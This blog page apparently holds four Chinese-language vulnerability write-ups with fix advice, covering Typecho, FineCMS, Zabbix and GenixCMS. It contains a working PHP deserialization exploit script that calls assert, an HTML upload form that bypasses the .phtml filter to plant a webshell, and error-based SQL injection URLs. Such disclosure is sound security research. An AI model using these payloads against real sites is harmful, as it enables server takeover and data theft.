Tuuu's Blog

安全盒子创始人,专注于Web安全研究。

分类 代码审计 下的文章

作者:@王松_Tuuu   时间:October 26, 2017

Typecho 反序列化漏洞导致前台getshell

最早知道这个漏洞是在一个微信群里,说是install.php文件里面有个后门,看到别人给的截图一看就知道是个PHP反序列化漏洞,赶紧上服务器看了看自己的博客,发现自己也中招了,相关代码如下:

然后果断在文件第一行加上了die:

<?php die('404 Not Found!'); ?>

今天下午刚好空闲下来,就赶紧拿出来代码看看。

漏洞分析

先从install.php开始跟,229~235行:

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

要让代码执行到这里需要满足一些条件:

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

首先是$_GET['finish']不为空,其次是referer需要是本站,比较容易实现。

继续跟反序列化的地方:

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

首先使用Typecho_Cookieget方法获取__typecho_configget方法如下:

public static function get($key, $default = NULL)
{
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
    return is_array($value) ? $default : $value;
}

可以看到给$value赋值这一行,如果$_COOKIE里面没有就从$_POST里面获取,所以我们测试漏洞的时候直接POST也是可以的,不用每次设置Cookie了。

反序列化漏洞要利用势必离不开魔术方法,我之前收集了一些和PHP反序列化有关的PHP函数:

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

下面这一行中,如果我们反序列化构造一个数组,其中adapter设置为一个类,那么就可以触发这个类的__toString()方法。

然后我们全局搜索__toString()方法,发现两个有搞头的文件:

/var/Typecho/Feed.php
/var/Typecho/Db/Query.php

我这里跟一下Feed.php,查看Feed.php__toString()方法,其中第290行:

foreach ($this->_items as $item) {
    $content .= '<item>' . self::EOL;
    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
    //省略........
}

其中调用了$item['author']->screenName$item$this->_items的foreach循环出来的,并且$this->_itemsTypecho_Feed类的一个private属性。

我们可以利用这个$item来调用某个类的__get()方法,上面说过__get()方法是用于从不可访问的属性读取数据,实际执行中这里会获取该类的screenName属性,如果我们给$item['author']设置的类中没有screenName就会执行该类的__get()方法,我们继续来全局搜索一下__get()方法。

发现/var/Typecho/Request.php中的__get()方法如下:

public function __get($key)
{
    return $this->get($key);
}

跟进$this->get()方法如下:

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

这里没什么问题,但最后一行:

return $this->_applyFilter($value);

跟进一下发现:

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

这个foreach里面判断如果$value是数组就执行array_map否则调用call_user_func,这俩函数都是执行代码的关键方法。而这里$filter$value我们几乎都是可以间接控制的,所以就可以利用call_user_func或者array_map来执行代码,比如我们设置$filter为数组,第一个数组键值是assert$value设置php代码,即可执行。

然后我们来完成Exploit如下:

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}


class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));

然后运行该php,使用输出的payload访问:

至此该漏洞复现成功。

修复方法

  • 官方今天发布了1.1Beta版本修复了该漏洞,升级该版本,链接:http://typecho.org/archives/133/
  • 也可以删除掉install.php和install目录。
作者:@王松_Tuuu   时间:September 30, 2016

FineCMS前台getshell

FineCMS企业网站管理系统(简称免费版或企业版)是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统,面向多终端包括Pc端网页和移动端网页,支持自定义内容模型和会员模型,并且可以自定义字段,可面向中小型站点提供重量级网站建设解决方案,适用于小型站点、企业级网站、新闻内容网站等。

漏洞概要

finecms某处过滤不严格,导致可上传任意脚本文件。

漏洞详情

依旧是AttachmentController,当然这次不再是kindeditor_upload的上传文件然后包含文件这么简单了,而是直接上传脚本执行。

这次出现问题的是ajaxswfuploadAction方法,这个方法代码不是很多,我就直接全部贴出来了:

/**
* Swf上传
*/
public function ajaxswfuploadAction() {
   if ($this->post('submit')) {
       $_type = explode(',', $this->post('type'));
       if (empty($_type)) {
           exit('0,' . lang('att-6'));
       }
       $size = (int)$this->post('size');
       if (empty($size)) {
           exit('0,' . lang('att-5'));
       }
       $data = $this->upload('Filedata', $_type, $size, null, null, $this->post('admin'), 'swf', null, $this->post('document'));
       if ($data['result']) {
           exit('0,' . $data['result']);
       }
       //唯一ID,文件全路径,扩展名,文件名称
       exit(time() . rand(0, 999) . ',' . $data['path'] . ',' . $data['ext'] . ',' . str_replace('|', '_', $data['file']));
   } else {
       exit('0,' . lang('att-4'));
   }
}

聪明的人,一眼就能看出来,从post请求中获取了type
那么这个type是干啥用的?没错,他是设定允许上传的文件类型的,并且在第289行左右直接带入了upload函数!!!我的天哪!!

本以为这样就可以直接上传php文件进行getshell了,但是发现其实finecms也不傻~~在upload函数中进行了强制性的黑名单过滤:

$ext = $upload->fileext();
if (stripos($ext, 'php') !== FALSE
    || stripos($ext, 'asp') !== FALSE
    || stripos($ext, 'aspx') !== FALSE
    ) {
    return array('result' => '文件格式被系统禁止');

首先是获取了文件后缀,用了fileext()函数,跟进来看看:

/**
* 取得文件扩展
*
* @return 扩展名
*/
public function fileext() {
    return strtolower(trim(substr(strrchr($this->file_name['name'], '.'), 1, 10)));
}

先取出.和后面的所有字符,然后从.往后取出10个字符,最终全部转成小写。

然后我们继续看这个看似很牛逼的黑名单:

if (stripos($ext, 'php') !== FALSE
    || stripos($ext, 'asp') !== FALSE
    || stripos($ext, 'aspx') !== FALSE
    ) {
    return array('result' => '文件格式被系统禁止');

stripos函数从前往后查找phpaspaspx如果查到了就直接return了。

那好…… 我们利用phtml来进行绕过,不知道phtml是啥请自行百度。。。

先构造上传的html表单:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Finecms ajaxswfupload exp</title>
</head>
<body>
    <form action="http://finecms.localhost/index.php?c=attachment&a=ajaxswfupload" method="POST" enctype="multipart/form-data">
        <input type="file" name="Filedata">
        <input type="hidden" name="type" value="phtml">
        <input type="hidden" name="size" value="100">
        <input type="submit" name="submit" value="上传文件">
    </form>
</body>
</html>

然后上传一个带有一句话木马的phtml文件,答案是可行的:

14751635176891.jpg

访问上传的文件看看:

14751635559921.jpg

那么我们再用工具连接下这个一句话木马看看:

14751636024237.jpg

至此,一个前台getshell,bingo!

漏洞修复

文件/controllers/AttachmentController.php第224行的判断添加phtml限制:

if (stripos($ext, 'php') !== FALSE
    || stripos($ext, 'phtml') !== FALSE
    || stripos($ext, 'asp') !== FALSE
    || stripos($ext, 'aspx') !== FALSE
    ) {
    return array('result' => '文件格式被系统禁止');
}

另外不是很推荐用黑名单,用白名单会比黑名单有效得多。(其实这个修复方式还是可以绕过的)

作者:@王松_Tuuu   时间:August 22, 2016

Zabbix SQL注入漏洞分析

zabbix sql注入漏洞爆出来已有好几天了,最近忙于安全盒子用户中心的设计,一直没有去研究这个注入,今天早起,闲暇时间写下该文。

zabbix简介

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

影响版本

2.0.x
3.0.x

我这里的分析的版本是3.0.3,据说3.0.4已修复该漏洞。

漏洞分析

jsrpc.php中从url中获取了type,并且把$_REQUEST赋值给了$data,相关代码(第24行开始):

$requestType = getRequest('type', PAGE_TYPE_JSON);
if ($requestType == PAGE_TYPE_JSON) {
    $http_request = new CHttpRequest();
    $json = new CJson();
    $data = $json->decode($http_request->body(), true);
}
else {
    $data = $_REQUEST;
}

随后40行有一些条件,不满足就会exit,但是很好绕过,代码如下:

if (!is_array($data) || !isset($data['method'])
        || ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) {
    fatal_error('Wrong RPC call to JS RPC!');
}

再往下是一个传入$data['method']的switch语句,部分代码如下(第46行开始):

switch ($data['method']) {
    case 'host.get':
        $result = API::Host()->get([
            'startSearch' => true,
            'search' => $data['params']['search'],
            'output' => ['hostid', 'host', 'name'],
            'sortfield' => 'name',
            'limit' => 15
        ]);
        break;

    case 'message.mute':
        $msgsettings = getMessageSettings();
        $msgsettings['sounds.mute'] = 1;
        updateMessageSettings($msgsettings);
        break;

    case 'message.unmute':
        $msgsettings = getMessageSettings();
        $msgsettings['sounds.mute'] = 0;
        updateMessageSettings($msgsettings);
        break;

    case 'message.settings':
        $result = getMessageSettings();
        break;

第181行传入CScreenBuilder::getScreen($data);,代码如下:

case 'screen.get':
    $result = '';
    $screenBase = CScreenBuilder::getScreen($data);
    if ($screenBase !== null) {
        $screen = $screenBase->get();

        if ($data['mode'] == SCREEN_MODE_JS) {
            $result = $screen;
        }
        else {
            if (is_object($screen)) {
                $result = $screen->toString();
            }
        }
    }
    break;

跟进查看,发现CScreenBuilder的构造函数从url中接收了profileIdx2赋值给$this->profileIdx2并且带入CScreenBase::calculateTime执行,代码如下:

// calculate time
$this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';
$this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;
$this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

$this->timeline = CScreenBase::calculateTime([
    'profileIdx' => $this->profileIdx,
    'profileIdx2' => $this->profileIdx2,
    'updateProfile' => $this->updateProfile,
    'period' => !empty($options['period']) ? $options['period'] : null,
    'stime' => !empty($options['stime']) ? $options['stime'] : null
]);

跟进calculateTime函数,461行对CProfile进行了更新,但是并没有进行SQL查询:

if ($options['updateProfile'] && !empty($options['profileIdx'])) {
    CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
}

然而最终造成SQL注入的是最后一行:

require_once dirname(__FILE__).'/include/page_footer.php';

这个文件里第38行对CProfile进行了更新,代码如下:

if (CProfile::isModified()) {
    DBstart();
    $result = CProfile::flush();
    DBend($result);
}

跟进CProfile::flush(),把数据进行了遍历然后带入self::insertDB()

public static function flush() {
    $result = false;

    if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
        $result = true;

        foreach (self::$insert as $idx => $profile) {
            foreach ($profile as $idx2 => $data) {
                $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
            }
        }

        ksort(self::$update);
        foreach (self::$update as $idx => $profile) {
            ksort($profile);
            foreach ($profile as $idx2 => $data) {
                $result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);
            }
        }
    }

    return $result;
}

跟进self::insertDB()即可看到$idx2没有过滤带入SQL查询:

private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);

    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        'idx2' => $idx2
    ];

    return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}

最后的DBexecute()里面也只是调用了mysqli_query执行sql而已。

至此,SQL注入形成。

然后构造语句,满足各种条件,让程序按照逻辑进入该出,即可注入:

http://localhost:8080/jsrpc.php?sid=111&type=3&method=screen.get&timestamp=111&mode=111&screenid=&groupid=&hostid=0&pageFile=111&profileIdx=web.item.graph&profileIdx2=1%20xor(select%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1))&updateProfile=true&screenitemid=&period=1&stime=1&resourcetype=17&itemids=1&action=1&filter=&filter_task=&mark_color=1

注入效果如图:

1.png

这里是insert注入,而且没有单引号,直接使用xor()在里面用任意报错注入语句即可注入。

修复建议

  • 升级版本至3.0.4
  • 使用intval函数过滤insertDB中的$idx2
作者:@王松_Tuuu   时间:March 23, 2016

GenixCMS某处SQL注入漏洞

GenixCMS介绍

GenixCMS一款简单和轻量级的移动商务内容管理系统,官网:http://genixcms.org/

漏洞原理

程序根目录下的register.php中,第116行到118行:

if (isset($_GET['activation'])) {
    # code...
    $usr = Db::result(sprintf("SELECT * FROM `user` WHERE `activation` = '%s' LIMIT 1", $_GET['activation'] ));

可以看到直接从网址获取activation并且没有经过任何过滤,直接带入了sql语句查询,故存在sql注入漏洞。

漏洞证明

注入payload如下:

http://genixcms.localhost/register.php?activation=1%27%20and%201=(updatexml(1,concat(0x23,(select%20user()),0x23),1))%23

2016-03-23 00-19-15屏幕截图.png

截止发稿前,官网同样存在该漏洞:

2016-03-23 00-26-18屏幕截图.png

TangScan插件

将在官方修复后发布。